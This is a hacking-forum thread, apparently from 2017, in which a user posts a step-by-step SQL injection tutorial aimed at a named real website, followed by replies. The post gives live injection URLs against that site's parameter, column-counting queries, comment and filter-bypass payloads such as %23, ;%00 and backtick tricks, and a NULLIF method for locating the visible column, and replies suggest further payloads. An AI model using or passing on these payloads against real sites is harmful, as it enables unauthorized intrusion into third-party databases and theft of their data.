HI 🤝

From a little while ago I saw Berry White needing help here

PHP Code


<?php 
https://hackforums.net/showthread.php?tid=5734847 


So this topic was created for him

•◘╚╦☆ Target ☆╚╦◘•

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20 


Let's Get the column number by using Group By 100

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20 Group By 100-- -

i.imgur.com/78dlRhr.png 


I get error Not Found , but when I delet Comment Out Query -- - from the end of the query I get normal loading page .

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20 Group By 100

i.imgur.com/7P1Df7c.png 


So we have here error with white space after any number with using Group by 100x so you can bypassing this error by using one of this Comment Out Query.

PHP Code


<?php 
%23 


PHP Code


<?php 
;%00 


PHP Code


<?php 
--%a0 


SO Let's fix this error By using %23 🤫


I notic when I use Order By 14 There Are Error

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20' Order By 14%23

i.imgur.com/UO9SCBx.png 


And With Order By 13 There Are No Error

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20' Order By 13%23

i.imgur.com/stjiTfR.png 


SO 🤫 the column number is (13) columns 👍

Let's Use Union Based

Notic: I will delet variable number and I will add @ just for fun




As you see there are error with using uni*on sel*ect

PHP Code


<?php 
near '.modul_slot = '1' AND moduli.modul_status = '1' ' at line 13 


This Error We Call New Line Error , Coz this line meaning is just order by x column of the url query, and this query continues to a new line, Ok Now we can't use -- Or %23 Cuz its same with --%0a

So What Can We Use To Bypassing This New Line Error ? , to bypassing this error We Can Use This two Comment Out Query.

PHP Code


<?php 
%60  | It Mean Backtick  `  | 


Notic : The backtick can only be used to end a query when used as an alias`alias starts

PHP Code


<?php 
;%00  | It Mean NUL Nullbyte (MySQL < 5.1) | 


SO 🤫




Now We See Another Error Here

PHP Code


<?php 
The used SELECT statements have a different number of columns 


And This Error Meaning UNI`ONs (UNI`ON and UN`ION ALL) require that all the queries being UNION'd have :

1- The same number of columns in the SELECT clause
2- The column data type has to match at each position



First: Routed Query(double query)

I did all the steps Here but it did not work As you see.




Second : Using True with all column's as a multiple queries

When I using this method I Noticed there are a word 'Novosti' appear in the page As you See.




I think it's mean I can insert every (id) like Nulling/Positive Value that used in multiple queries, in some column number one by one in this site to get the Vuln Column .

Notic : I will Using New Solution here it's calling NULL/IF Method's.

OK, Let's Start To Do That

Now I Will Use NULL/IF Negative/positive Value Method's to get the column Vuln number in the page, but how to use that NULLIF Method ?

NULLIF Negative/positive Value Method's


First: the method of NULL/IF I will use here must be The positive part, Cuz positive part only can appear Vuln column Not Negative part as a other method .

Second: Method NULL/IF should start from the last column forward to the first column in the DataBase Columns.





Notic : I can't use positive NULL/IF in the same DataBase Column Twice, Cuz I have Rule that dealing with the situation here.

•◘╚╦☆ Rule Of Negative/Positive NULL\IF value Using [Rule Belong To Team GHI] ☆╚╦◘•

NULLIF Method should start from the last column forward to the first column one by one , And If a column has gained a positive value By using positive NULLIF Method , It never To Other columns acquire the same value at the same time.


Let's change positive NULL\IF value in column number (13) to Negative NULL\IF value




now I will use positive NULL\IF value in all column one by one Let's Start .









Notic : If you have any notic in Rule Of Negative/Positive NULL\IF value please keep it to your self.

Hope You Love My Work Here

Regards

Pishicat_Injector GHI

Quote:so the subject must be deleted in full and Respect the desire of the owner of the subject that request the help.

(Oct 11, 2017 09:05 PM)pishicat_Injector Wrote:  thx for that

and thx for that's too my friend


and about that


who say that is deleted from FB too

BTW you site appear in then more a 5 image so what I do about that I deleted all for that too

And I think mr JaNuS18 help you and you not need to my help so don't wory about your site it's safe now

Regards my brother 🤝

Quote: And I think mr JaNuS18 help you and you not need to my help so don't wory about your site it's safe now

(Oct 11, 2017 08:47 PM)hunters Wrote:  Awesome work dude. Really fantastic.

(Oct 11, 2017 09:30 PM)Maaz Wrote:  hmm that sucks :| thanks for ur effort of making it though...is it possible for u to send me or no?

(Oct 12, 2017 01:06 AM)Gardener Jim Wrote:  Pleased it's back so I could read through it again.
I'd never even heard of "NULLIF" until now.

(Oct 12, 2017 03:58 AM)•^v^–[ bLacKn3x ]–^v^• Wrote:  Hi what about simply insert --> 1 in column number? this makes the datatype boolean True too :)

thats easier to handle if it comes to waf or something.

Regards

(Oct 12, 2017 05:55 AM)JaNuS18 Wrote:  Than he couldn't write so long text as new priv8 tutorial 😝

tutorial start
Fact is: column 3 is booelan value. It can have value true or false(1/0).If value in column #3 is true (or 1), data from database in column #4 is visible. If value is false, it isn't visible.
tutorial end

That logic for column #3 and #4 is valid in this web page ONLY - not a general logic for all sites, so such ifnull tutorial is pointless 😝.

[New Method] he said: 🤣🤣

[Rule Belong To Team GHI] 🤣🤣

The Best Injection Method Ever 🤣🤣

OMG 🤦‍♂ He invented SQL... 😏

(Oct 12, 2017 06:27 AM)Berry White Wrote:  Thanks for explanation, i couldnt figure out why this query works... so by simply adding 'true' to columns, we can get vulnerable column

(Oct 12, 2017 05:55 AM)JaNuS18 Wrote:  [New Method] he said:

[Rule Belong To Team GHI]

The Best Injection Method Ever

OMG 🤦‍♂ He invented SQL...

(Oct 12, 2017 07:33 AM)JaNuS18 Wrote:  P.S:
pishicat_injector here is a suggestion few "glorified new super duper method" and tutorial. Put

PHP Code


<?php 
FIND_IN_SET (0x61, 0x612c622c63) 


in column #3 and it will work. 👍 Because result of find_in_set will be 1 again